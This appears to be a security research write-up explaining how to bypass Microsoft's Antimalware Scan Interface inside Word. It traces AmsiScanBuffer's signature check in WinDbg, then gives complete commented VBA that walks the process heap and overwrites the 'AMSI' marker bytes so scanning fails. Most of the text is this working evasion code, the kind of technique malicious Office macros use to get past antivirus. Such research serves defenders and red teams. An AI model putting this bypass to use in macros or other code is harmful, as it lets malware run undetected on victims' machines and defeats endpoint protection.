This write up is based upon the work of Matt Graeber @Mattifestation
If we load up amsi.dll in IDA or equivalent tool and start looking at AmsiScanBuffer we can see that there is a check to see if the value which is pointed to via rbx equals 49534D41h (AMSI).
If this value doesn’t match (jnz) then something went wrong and bail.
If we look at AmsiInitialize we can see that the value 49534D41h gets added to to Heap by the use of CoTaskMemAlloc
If we refer to MSDN
We can see CoTaskMemAlloc is part of a pair of functions for allocating and freeing memory on the heap.
In order to analyse the above with WinDbg we need to set a few things up. The first is, we need to be able to trigger AMSI with Word/VBA so that we can trigger a breakpoint.
Code which is sufficient to trigger AMSI can be found below.
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long Private Declare PtrSafe Sub RtlMoveMemory Lib "kernel32" (Destination As Any, Source As Any, ByVal Length As LongPtr) Private Sub TriggerAmsi() Dim AmsiScanBufferAddr As LongPtr Dim result As Long AmsiScanBufferAddr = GetProcAddress(LoadLibrary("amsi.dll"), "AmsiScanBuffer") result = VirtualProtect(ByVal AmsiScanBufferAddr, 1, 64, 0) End Sub
When executing the above code you should get the all too familiar
We can now move on and look at this in WinDbg.
Firstly attach WinDbg to WINWORD.EXE
For anyone new to this, File/Attach to a Process – Select WINWORD.EXE from the list of processes and then select OK.
Next lets see where Amsi is by typing
x amsi!amsi* then enter into the command window
If we use the command u we can unassemble the lines of code at an address.
Therefore we use
u AmsiScanBufferAddress l100
If we look through the code we can see the cmp which looks for AMSI. We set a breakpoint here
and then press F5 to resume code execution and then go back to our module.
Once we execute our module, our breakpoint triggers.
If we use d esi we can see the contents of the memory which is being pointed to.
Pressing p (to step) and enter takes us to our next line of code which is the jne statement. br=0 indicates that the jump is not taken.
For testing purposes, we’re going to force the jump by modifying the code.
We use the a command with the memory address of the code we want to change, followed by enter.
We then enter the new instructions, followed by enter and enter.
If we now press F5 to resume execution or just detach the debugger we can see that if this check fails it is enough for a bypass.
This bypass is achieved by walking the Heap and finding the value of AMSI. We then need to corrupt this value which should be enough for the cmp check to fail.
If we look to MSDN for help on the HEAP we can see all the header information on this page
It conveniently also provides an example of enumerating the heap
and to copy our replacement bytes to memory we’re going to use
Here’s the code to do all this which is commented. See it also on my Git
Private Type PROCESS_HEAP_ENTRY lpData As Long cbData As Long cbOverhead As Byte iRegionIndex As Byte wFlags As Integer dwCommittedSize As Long dwUnCommittedSize As Long lpFirstBlock As Long lpLastBlock As Long End Type Private Const PROCESS_HEAP_ENTRY_BUSY As Long = &H4 Private Const CRYPT_STRING_BINARY As Long = 2 Private Declare PtrSafe Function GetProcessHeaps Lib "kernel32" (ByVal NumberOfHeaps As Long, ByRef ProcessHeaps As Any) As Long Private Declare PtrSafe Function HeapWalk Lib "kernel32" (ByVal hHeap As Long, ByRef lpEntry As PROCESS_HEAP_ENTRY) As Long Private Declare PtrSafe Function ToString Lib "crypt32.dll" Alias "CryptBinaryToStringA" (ByRef pbBinary As Any, ByVal cbBinary As Long, ByVal dwFlags As Long, ByRef pszString As Any, ByRef pcchString As Long) As Long Sub HeapsOfFun() Dim ProcessHeaps As Long Dim NumberOfHeaps As Long Dim PHE As PROCESS_HEAP_ENTRY Dim ReadBuffer As Long Dim WriteBuffer As Long 'The value that we're going to write on the heap WriteBuffer = &HFFFFFFFF NumberOfHeaps = GetProcessHeaps(1, ProcessHeaps) 'Debug.Print Str(NumberOfHeaps) & " Handles to heaps that are active for the calling process" If NumberOfHeaps > 0 Then retval = HeapWalk(ProcessHeaps, PHE) 'retval of 0 means failure If retval > 0 Then Do While HeapWalk(ProcessHeaps, PHE) <> 0 'If PHE.wFlags And PROCESS_HEAP_ENTRY_BUSY) is not equal to 0 it means that we have an Allocated block If ((PHE.wFlags And PROCESS_HEAP_ENTRY_BUSY) <> 0) Then 'Copy the 4 bytes from PHE.lpData into ReadBuffer ToString ByVal PHE.lpData, ByVal 4, CRYPT_STRING_BINARY, ByVal VarPtr(ReadBuffer), ByVal VarPtr(Len(ReadBuffer)) 'If ReadBuffer equals AMSI If ReadBuffer = &H49534D41 Then Debug.Print "Pesky AMSI Bytes found on the Heap at: " & Hex(PHE.lpData) 'Copy the 4 bytes FFFFFFFF into the location of PHE.lpData which is where we found AMSI ToString ByVal VarPtr(WriteBuffer), ByVal 4, CRYPT_STRING_BINARY, ByVal PHE.lpData, ByVal VarPtr(Len(PHE.lpData)) Debug.Print "Replaced Pesky Bytes found on the Heap at: " & Hex(PHE.lpData) & " with " & Hex(WriteBuffer) 'We've done what we came to do, exit the loop Exit Do End If End If Loop End If End If End Sub
If we execute the above code we get the following results
We can confirm with WinDbg that our code has been successful too.